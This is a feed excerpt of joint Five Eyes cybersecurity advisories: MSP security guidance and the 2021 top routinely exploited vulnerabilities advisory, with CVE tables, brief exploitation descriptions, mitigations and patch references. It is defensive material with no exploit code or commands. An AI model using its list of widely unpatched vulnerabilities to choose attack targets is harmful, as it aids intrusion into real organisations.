Organizations should update software, including operating systems, applications, and firmware. Prioritize applying security updates to software containing known exploited vulnerabilities. Note: organizations should prioritize patching vulnerabilities included in CISA’s catalogue of known exploited vulnerabilities (KEV) as opposed to only those with high Common Vulnerability Scoring System (CVSS) scores that have not been exploited and may never be exploited.[16],[17],[18],[19]

  • MSPs should implement updates on internal networks as quickly as possible.
  • Customers should ensure that they understand their MSP's policy on software updates and request that comprehensive and timely updates are delivered as an ongoing service.
Backup systems and data. 

Organizations should regularly update and test backups—including “gold images” of critical systems in the event these need to be rebuilt (Note: organizations should base the frequency of backups on their recovery point objective [20]). Store backups separately and isolate them from network connections that could enable the spread of ransomware; many ransomware variants attempt to find and encrypt/delete accessible backups. Isolating backups enables restoration of systems/data to their previous state should they be encrypted with ransomware. Note: best practices include storing backups separately, such as on external media.[21],[22],[23

  • MSPs should regularly backup internal data as well as customer data (where contractually appropriate) and maintain offline backups encrypted with separate, offline encryption keys. Providers should encourage customers to create secure, offsite backups and exercise recovery capabilities.
  • Customers should ensure that their contractual arrangements include backup services that meet their resilience and disaster recovery requirements. Specifically, customers should require their MSP to implement a backup solution that automatically and continuously backs up critical data and system configurations and store backups in an easily retrievable location, e.g., a cloud-based solution or a location that is air-gapped from the organizational network.
Develop and exercise incident response and recovery plans. 

Incident response and recovery plans should include roles and responsibilities for all organizational stakeholders, including executives, technical leads, and procurement officers. Organizations should maintain up-to-date hard copies of plans to ensure responders can access them should the network be inaccessible (e.g., due to a ransomware attack).[24]

  • MSPs should develop and regularly exercise internal incident response and recovery plans and encourage customers to do the same.
  • Customers should ensure that their contractual arrangements include incident response and recovery plans that meet their resilience and disaster recovery requirements. Customers should ensure these plans are tested at regular intervals.
Understand and proactively manage supply chain risk. 

All organizations should proactively manage ICT supply chain risk across security, legal, and procurement groups, using risk assessments to identify and prioritize the allocation of resources.[25],[26]

  • MSPs should understand their own supply chain risk and manage the cascading risks it poses to customers.
  • Customers should understand the supply chain risk associated with their MSP, including risk associated with third-party vendors or subcontractors. Customers should also set clear network security expectations with their MSPs and understand the access their MSP has to their network and the data it houses. Each customer should ensure their contractual arrangements meet their specific security requirements and that their contract specifies whether the MSP or the customer owns specific responsibilities, such as hardening, detection, and incident response.[27]
Promote transparency. 

Both MSPs and their customers will benefit from contractual arrangements that clearly define responsibilities. 

  • MSPs, when negotiating the terms of a contract with their customer, should provide clear explanations of the services the customer is purchasing, services the customer is not purchasing, and all contingencies for incident response and recovery.
  • Customers should ensure that they have a thorough understanding of the security services their MSP is providing via the contractual arrangement and address any security requirements that fall outside the scope of the contract. Note: contracts should detail how and when MSPs notify the customer of an incident affecting the customer's environment.
Manage account authentication and authorization. 

All organizations should adhere to best practices for password and permission management. [28],[29],[30] Organizations should review logs for unexplained failed authentication attempts—failed authentication attempts directly following an account password change could indicate that the account had been compromised. Note: network defenders can proactively search for such "intrusion canaries" by reviewing logs after performing password changes—using off-network communications to inform users of the changes—across all sensitive accounts. (See the ACSC publication, Windows Event Logging and Forwarding as well as Microsoft's documentation, 4625(F): An account failed to log on, for additional guidance.) 

  • MSPs should verify that the customer restricts MSP account access to systems managed by the MSP.
  • Customers should ensure MSP accounts are not assigned to internal administrator groups; instead, restrict MSP accounts to systems managed by the MSP. Grant access and administrative permissions on a need-to-know basis, using the principle of least privilege. Verify, via audits, that MSP accounts are being used for appropriate purposes and activities, and that these accounts are disabled when not actively being used. 
Purpose

This advisory was developed by UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities in furtherance their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

Acknowledgements

The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities would like to thank Secureworks for their contributions to this CSA.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. NCSC-UK, ACSC, CCCS, NCSC-NZ, CISA, NSA, and FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favouring.

Contact Information

United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. Australian organizations: visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca. New Zealand organizations: report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. U.S. organizations: all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov

Resources

In addition to the guidance referenced above, see the following resources:

References

[1] State of the Market: The New Threat Landscape, Pushing MSP security to the next level (N-able) 
[2] Global targeting of enterprises via managed service providers (NCSC-UK)
[3] Guidance for MSPs and Small- and Mid-sized Businesses (CISA)
[4] Kaseya Ransomware Attack: Guidance for Affected MSPs and their Customers (CISA) 
[5] APTs Targeting IT Service Provider Customers (CISA)
[6] MSP Investigation Report (ACSC)
[7] How to Manage Your Security When Engaging a Managed Service Provider
[8] Supply Chain Cyber Security: In Safe Hands (NCSC-NZ)
[9] Multi-factor authentication for online services (NCSC-UK)
[10] Zero trust architecture design principles: MFA (NCSC-UK)
[11] Joint CISA-FBI CSA: Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default MFA Protocols and “PrintNightmare” Vulnerability
[12] Security architecture anti-patterns (NCSC-UK)
[13] Preventing Lateral Movement (NCSC-UK)
[14] Preventing Lateral Movement: Apply the principle of least privilege (NCSC-UK)
[15] Device Security Guidance: Obsolete products (NCSC-UK)
[16] Known Exploited Vulnerabilities Catalog (CISA)
[17] The problems with patching (NCSC-UK)
[18] Security principles for cross domain solutions: Patching (NCSC-UK)
[19] Joint CSA: 2021 Top Routinely Exploited Vulnerabilities
[20] Protecting Data from Ransomware and Other Data Loss Events: A Guide for Managed Service Providers to Conduct, Maintain, and Test Backup Files (NIST)
[21] Stop Ransomware website (CISA)
[22] Offline backups in an online world (NCSC-UK)
[23] Mitigating malware and ransomware attacks (NCSC-UK)
[24] Effective steps to cyber exercise creation (NCSC-UK)
[25] Supply chain security guidance (NCSC-UK)
[26] ICT Supply Chain Resource Library (CISA)
[27] Risk Considerations for Managed Service Provider Customers (CISA)
[28] Device Security Guidance: Enterprise authentication policy (NCSC-UK)
[29] Preventing Lateral Movement: Apply the principle of least privilege (NCSC-UK)
[30] Implementing Strong Authentication (CISA)

Appendix

This advisory's definition of MSPs aligns with the following definitions.

The definition of MSP from Gartner's Information Technology Glossary—which is also referenced by NIST in Improving Cybersecurity of Managed Service Providers—is:

A managed service provider (MSP) delivers services, such as network, application, infrastructure and security, via ongoing and regular support and active administration on customers’ premises, in their MSP’s data center (hosting), or in a third-party data center.

MSPs may deliver their own native services in conjunction with other providers’ services (for example, a security MSP providing sys admin on top of a third-party cloud IaaS). Pure-play MSPs focus on one vendor or technology, usually their own core offerings. Many MSPs include services from other types of providers. The term MSP traditionally was applied to infrastructure or device-centric types of services but has expanded to include any continuous, regular management, maintenance and support.

The United Kingdom's Department of Digital, Culture, Media, and Sport (DCMS) recently published the following definition of MSP, which includes examples: 

Managed Service Provider - A supplier that delivers a portfolio of IT services to business customers via ongoing support and active administration, all of which are typically underpinned by a Service Level Agreement. A Managed Service Provider may provide their own Managed Services or offer their own services in conjunction with other IT providers’ services. The Managed Services might include:

  • Cloud computing services (resale of cloud services, or an in-house public and private cloud services, built and provided by the Managed Service Providers)
  • Workplace services
  • Managed Network
  • Consulting
  • Security services
  • Outsourcing
  • Service Integration and Management
  • Software Resale
  • Software Engineering
  • Analytics and Artificial Intelligence (AI)
  • Business Continuity and Disaster Recovery services

The Managed Services might be delivered from customer premises, from customer data centres, from Managed Service Providers’ own data centres or from 3rd party facilities (co-location facilities, public cloud data centres or network Points of Presence (PoPs)).

Revisions
  • May 11, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AR22

US-CERT All NCAS Products - Thu, 04/28/2022 - 17:00
AR22-115B
Categories: LATEST ALERT

AR22

US-CERT All NCAS Products - Thu, 04/28/2022 - 15:00
AR22-115C
Categories: LATEST ALERT

AA22-117A: 2021 Top Routinely Exploited Vulnerabilities

US-CERT Alerts - Wed, 04/27/2022 - 15:00
Original release date: April 27, 2022
Summary

This joint Cybersecurity Advisory (CSA) was coauthored by cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom: the Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Federal Bureau of Investigation (FBI), Australian Cyber Security Centre (ACSC), Canadian Centre for Cyber Security (CCCS), New Zealand National Cyber Security Centre (NZ NCSC), and United Kingdom’s National Cyber Security Centre (NCSC-UK). This advisory provides details on the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.

U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities assess, in 2021, malicious cyber actors aggressively targeted newly disclosed critical software vulnerabilities against broad target sets, including public and private sector organizations worldwide. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities across a broad spectrum of targets. 

The cybersecurity authorities encourage organizations to apply the recommendations in the Mitigations section of this CSA. These mitigations include applying timely patches to systems and implementing a centralized patch management system to reduce the risk of compromise by malicious cyber actors.

Click here for a PDF version of this report. 

Technical DetailsKey Findings

Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability’s disclosure, likely facilitating exploitation by a broader range of malicious actors.

To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities—some of which were also routinely exploited in 2020 or earlier. The exploitation of older vulnerabilities demonstrates the continued risk to organizations that fail to patch software in a timely manner or are using software that is no longer supported by a vendor.

Top 15 Routinely Exploited Vulnerabilities

Table 1 shows the top 15 vulnerabilities U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities observed malicious actors routinely exploiting in 2021, which include:

  • CVE-2021-44228. This vulnerability, known as Log4Shell, affects Apache’s Log4j library, an open-source logging framework. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows a cyber actor to take full control over the system. The actor can then steal information, launch ransomware, or conduct other malicious activity.[1] Log4j is incorporated into thousands of products worldwide. This vulnerability was disclosed in December 2021; the rapid widespread exploitation of this vulnerability demonstrates the ability of malicious actors to quickly weaponize known vulnerabilities and target organizations before they patch.
  • CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065. These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., “vulnerability chaining”) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which, in turn, enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network.
  • CVE-2021-34523, CVE-2021-34473, CVE-2021-31207. These vulnerabilities, known as ProxyShell, also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS) (e.g., Microsoft’s web server). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers. 
  • CVE-2021-26084. This vulnerability, affecting Atlassian Confluence Server and Data Center, could enable an unauthenticated actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a POC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021.

Three of the top 15 routinely exploited vulnerabilities were also routinely exploited in 2020: CVE-2020-1472, CVE-2018-13379, and CVE-2019-11510. Their continued exploitation indicates that many organizations fail to patch software in a timely manner and remain vulnerable to malicious cyber actors.

Table 1: Top 15 Routinely Exploited Vulnerabilities in 2021

CVE

Vulnerability Name

Vendor and Product

Type

CVE-2021-44228

Log4Shell

Apache Log4j

Remote code execution (RCE)

CVE-2021-40539

 

Zoho ManageEngine AD SelfService Plus

RCE

CVE-2021-34523

ProxyShell

Microsoft Exchange Server

Elevation of privilege

CVE-2021-34473

ProxyShell

Microsoft Exchange Server

RCE

CVE-2021-31207

ProxyShell

Microsoft Exchange Server

Security feature bypass

CVE-2021-27065

ProxyLogon

Microsoft Exchange Server

RCE

CVE-2021-26858

ProxyLogon

Microsoft Exchange Server

RCE

CVE-2021-26857

ProxyLogon

Microsoft Exchange Server

RCE

CVE-2021-26855

ProxyLogon

Microsoft Exchange Server

RCE

CVE-2021-26084

 

 

Atlassian Confluence Server and Data Center

Arbitrary code execution

CVE-2021-21972

 

VMware vSphere Client

RCE

CVE-2020-1472

ZeroLogon

Microsoft Netlogon Remote Protocol (MS-NRPC)

Elevation of privilege

CVE-2020-0688

 

Microsoft Exchange Server

RCE

CVE-2019-11510

 

Pulse Secure Pulse Connect Secure

Arbitrary file reading

CVE-2018-13379

 

Fortinet FortiOS and FortiProxy

Path traversal

Additional Routinely Exploited Vulnerabilities

In addition to the 15 vulnerabilities listed in table 1, U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities identified vulnerabilities, listed in table 2, that were also routinely exploited by malicious cyber actors in 2021. 

These vulnerabilities include multiple vulnerabilities affecting internet-facing systems, including Accellion File Transfer Appliance (FTA), Windows Print Spooler, and Pulse Secure Pulse Connect Secure. Three of these vulnerabilities were also routinely exploited in 2020: CVE-2019-19781, CVE-2019-18935, and CVE-2017-11882.

Table 2: Additional Routinely Exploited Vulnerabilities in 2021

CVE

Vendor and Product

Type

CVE-2021-42237

Sitecore XP

RCE

CVE-2021-35464

ForgeRock OpenAM server

RCE

CVE-2021-27104

Accellion FTA

OS command execution

CVE-2021-27103

Accellion FTA

Server-side request forgery

CVE-2021-27102

Accellion FTA

OS command execution

CVE-2021-27101

Accellion FTA

SQL injection

CVE-2021-21985

VMware vCenter Server

RCE

CVE-2021-20038

SonicWall Secure Mobile Access (SMA)

RCE

CVE-2021-40444

Microsoft MSHTML

RCE

CVE-2021-34527

Microsoft Windows Print Spooler

RCE

CVE-2021-3156

Sudo

Privilege escalation

CVE-2021-27852

Checkbox Survey

Remote arbitrary code execution

CVE-2021-22893

Pulse Secure Pulse Connect Secure

Remote arbitrary code execution

CVE-2021-20016

SonicWall SSLVPN SMA100

Improper SQL command neutralization, allowing for credential access

CVE-2021-1675

Windows Print Spooler

RCE

CVE-2020-2509

QNAP QTS and QuTS hero

Remote arbitrary code execution

CVE-2019-19781

Citrix Application Delivery Controller (ADC) and Gateway

Arbitrary code execution

CVE-2019-18935

Progress Telerik UI for ASP.NET AJAX

Code execution

CVE-2018-0171

Cisco IOS Software and IOS XE Software

Remote arbitrary code execution

CVE-2017-11882

Microsoft Office

RCE

CVE-2017-0199

Microsoft Office

RCE

MitigationsVulnerability and Configuration Management
  • Update software, operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. For patch information on CVEs identified in this CSA, refer to the appendix. 
    • If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds.
  • Use a centralized patch management system.
  • Replace end-of-life software, i.e., software that is no longer supported by the vendor. For example, Accellion FTA was retired in April 2021.
  • Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications—such as webmail, file storage, file sharing, and chat and other employee collaboration tools—for their customers. However, as MSPs and CSPs expand their client organization's attack surface and may introduce unanticipated risks, organizations should proactively collaborate with their MSPs and CSPs to jointly reduce that risk. For more information and guidance, see the following resources.
Identity and Access Management
  • Enforce multifactor authentication (MFA) for all users, without exception.
  • Enforce MFA on all VPN connections. If MFA is unavailable, require employees engaging in remote work to use strong passwords. 
  • Regularly review, validate, or remove privileged accounts (annually at a minimum).
  • Configure access control under the concept of least privilege principle.
    • Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (non-administrative privileges).

Note: see CISA Capacity Enhancement Guide – Implementing Strong Authentication and ACSC guidance on Implementing Multi-Factor Authentication for more information on hardening authentication systems.

Protective Controls and Architecture 
  • Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices. 
    • Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP.
    • Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting.
    • Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM).
  • Segment networks to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks. 
  • Continuously monitor the attack surface and investigate abnormal activity that may indicate lateral movement of a threat actor or malware.
    • Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools. Consider using an information technology asset management (ITAM) solution to ensure your EDR, SIEM, vulnerability scanner etc., are reporting the same number of assets.
    • Monitor the environment for potentially unwanted programs.
  • Reduce third-party applications and unique system/application builds; provide exceptions only if required to support business critical functions.
  • Implement application allowlisting. 
Resources Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA, the FBI, NSA, ACSC, CCCS, NZ NCSC, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

Purpose 

This document was developed by U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

References

[1] CISA’s Apache Log4j Vulnerability Guidance

Appendix: Patch Information and Additional Resources for  Top Exploited Vulnerabilities

CVE

Vendor

Affected Products

Patch Information

Resources

CVE-2021-42237

Sitecore

Sitecore XP 7.5.0 - Sitecore XP 7.5.2

Sitecore XP 8.0.0 - Sitecore XP 8.2.7

Sitecore Security Bulletin SC2021-003-499266

ACSC Alert Active Exploitation of vulnerable Sitecore Experience Platform Content Management Systems

 

CVE-2021-35464

ForgeRock

Access Management (AM) 5.x, 6.0.0.x, 6.5.0.x, 6.5.1, 6.5.2.x and 6.5.3

OpenAM 9.x, 10.x, 11.x, 12.x and 13.x

ForgeRock AM Security Advisory #202104

ACSC Advisory Active exploitation of ForgeRock Access Manager / OpenAM servers

CCCS ForgeRock Security Advisory

CVE-2021-27104

Accellion

FTA 9_12_370 and earlier

Accellion Press Release: Update to Recent FTA Security Incident

Joint CSA Exploitation of Accellion File Transfer Appliance

ACSC Alert Potential Accellion File Transfer Appliance compromise

 

 

CVE-2021-27103

FTA 9_12_411 and earlier

CVE-2021-27102

FTA versions 9_12_411 and earlier

CVE-2021-27101

FTA 9_12_370 and earlier

 

CVE-2021-21985

VMware

vCenter Server 7.0, 6.7, 6.5

Cloud Foundation (vCenter Server) 4.x and 3.x

VMware Advisory VMSA-2021-0010

CCCS VMware Security Advisory

CVE-2021-21972

VMware

vCenter Server 7.0, 6.7, 6.5

Cloud Foundation (vCenter Server) 4.x and 3.x

VMware Advisory VMSA-2021-0002

ACSC Alert VMware vCenter Server plugin remote code execution vulnerability

CCCS VMware Security Advisory

CCCS Alert APT Actors Target U.S. and Allied Networks - Update 1

CVE-2021-20038

SonicWall

SMA 100 Series (SMA 200, 210, 400, 410, 500v), versions 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv

SonicWall Security Advisory SNWLID-2021-0026

ACSC Alert Remote code execution vulnerability present in SonicWall SMA 100 series appliances

CCCS SonicWall Security Advisory

 

CVE-2021-44228

Apache

Log4j, all versions from 2.0-beta9 to 2.14.1

For other affected vendors and products, see CISA's GitHub repository.

Log4j: Apache Log4j Security Vulnerabilities

For additional information, see joint CSA: Mitigating Log4Shell and Other Log4j-Related Vulnerabilities

CISA webpage Apache Log4j Vulnerability Guidance

CCCS Active exploitation of Apache Log4j vulnerability - Update 7

CVE-2021-40539

Zoho ManageEngine

ADSelfService Plus version 6113 and prior

Zoho ManageEngine: ADSelfService Plus 6114 Security Fix Release

Joint CSA APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus

CCCS Zoho Security Advisory

CVE-2021-40444

Microsoft

Multiple Windows products; see Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444

Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444

 

CVE-2021-34527

Microsoft

Multiple Windows products; see Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527

Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527

Joint CSA Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability

CCCS Alert Windows Print Spooler Vulnerability Remains Unpatched – Update 3

CVE-2021-34523

Microsoft

Microsoft Exchange Server 2013 Cumulative Update 23

Microsoft Exchange Server 2016 Cumulative Updates 19 and 20

Microsoft Exchange Server 2019 Cumulative Updates 8 and 9

Microsoft Security Update Guide: Microsoft Exchange Server Elevation of Privilege Vulnerability, CVE-2021-34523

Joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities

ACSC Alert Microsoft Exchange ProxyShell Targeting in Australia

 

CVE-2021-34473

Microsoft

Multiple Exchange Server versions; see: Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473

Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473

CVE-2021-31207

Microsoft

Multiple Exchange Server versions; see Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207

Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207

CVE-2021-3156

Sudo

Sudo before 1.9.5p2

Sudo Stable Release 1.9.5p2

 

CVE-2021-27852

Checkbox Survey

Checkbox Survey versions prior to 7

 

 

CVE-2021-27065

Microsoft Exchange Server

Multiple versions; see: Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065

Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065

CISA Alert: Mitigate Microsoft Exchange Server Vulnerabilities

ACSC Advisory Active exploitation of Vulnerable Microsoft Exchange servers

CCCS Alert Active Exploitation of Microsoft Exchange Vulnerabilities - Update 4

CVE-2021-26858

Microsoft

Exchange Server, multiple versions; see Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858

Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858

CVE-2021-26857

Microsoft

Exchange Server, multiple versions; see Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857

Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857

CVE-2021-26855

Microsoft

Exchange Server, multiple versions; see Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855

Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855

CVE-2021-26084

 

Jira Atlassian

Confluence Server and Data Center, versions 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.

Jira Atlassian: Confluence Server Webwork OGNL injection - CVE-2021-26084

ACSC Alert Remote code execution vulnerability present in certain versions of Atlassian Confluence

CCCS Atlassian Security Advisory

CVE-2021-22893

Pulse Secure

PCS 9.0R3/9.1R1 and Higher

Pulse Secure SA44784 - 2021-04: Out-of-Cycle Advisory: Multiple Vulnerabilities Resolved in Pulse Connect Secure 9.1R11.4

CCCS Alert  Active Exploitation of Pulse Connect Secure Vulnerabilities - Update 1

CVE-2021-20016

SonicWall

SMA 100 devices (SMA 200, SMA 210, SMA 400, SMA 410, SMA 500v)

SonicWall Security Advisory SNWLID-2021-0001

 

CVE-2021-1675

Microsoft

Multiple Windows products; see Microsoft Security Update Guide Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675

Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675

CCCS Alert Windows Print Spooler Vulnerability Remains Unpatched – Update 3

CVE-2020-2509

QNAP

QTS, multiple versions; see QNAP: Command Injection Vulnerability in QTS and QuTS hero

QuTS hero h4.5.1.1491 build 20201119 and later

QNAP: Command Injection Vulnerability in QTS and QuTS hero

 

CVE-2020-1472

Microsoft

Windows Server, multiple versions; see Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472

Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472

ACSC Alert Netlogon elevation of privilege vulnerability (CVE-2020-1472)

Joint CSA APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations

CCCS Alert Microsoft Netlogon Elevation of Privilege Vulnerability - CVE-2020-1472 - Update 1

CVE-2020-0688

Microsoft

Exchange Server, multiple versions; see Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688

Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688

CISA Alert Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity

Joint CSA Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology

CCCS Alert Microsoft Exchange Validation Key Remote Code Execution Vulnerability

CVE-2019-19781

Citrix

ADC and Gateway version 13.0 all supported builds before 13.0.47.24

NetScaler ADC and NetScaler Gateway, version 12.1 all supported builds before 12.1.55.18; version 12.0 all supported builds before 12.0.63.13; version 11.1 all supported builds before 11.1.63.15; version 10.5 all supported builds before 10.5.70.12

SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b

Citrix Security Bulletin CTX267027

Joint CSA APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations

CISA Alert Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity

CCCS Alert Detecting Compromises relating to Citrix CVE-2019-19781

 

 

 

CVE-2019-18935

Progress Telerik

UI for ASP.NET AJAX through 2019.3.1023

Telerik UI for ASP.NET AJAX Allows JavaScriptSerializer Deserialization

ACSC Alert Active exploitation of vulnerability in Microsoft Internet Information Services

 

CVE-2019-11510

Pulse Secure

Pulse Connect Secure 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4

Pulse Secure: SA44101 - 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX

CISA Alert Continued Exploitation of Pulse Secure VPN Vulnerability

CISA Alert Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity

ACSC Advisory Recommendations to mitigate vulnerability in Pulse Connect Secure VPN Software

Joint CSA APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations

CCCS Alert APT Actors Target U.S. and Allied Networks - Update 1

CVE-2018-13379

Fortinet

FortiProxy 2.0.2, 2.0.1, 2.0.0, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.6

Fortinet FortiGuard Labs: FG-IR-20-233

Joint CSA Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology

Joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities

Joint CSA APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations

ACSC Alert APT exploitation of Fortinet Vulnerabilities

CCCS Alert Exploitation of Fortinet FortiOS vulnerabilities (CISA, FBI) - Update 1

CVE-2018-0171

Cisco

See Cisco Security Advisory: cisco-sa-20180328-smi2

Cisco Security Advisory: cisco-sa-20180328-smi2

CCCS Action Required to Secure the Cisco IOS and IOS XE Smart Install Feature

CVE-2017-11882

Microsoft

Office, multiple versions; see Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882

Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882

CCCS Alert Microsoft Office Security Update

CVE-2017-0199

Microsoft

Multiple products; see Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199

Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199

CCCS Microsoft Security Updates

Contact Information

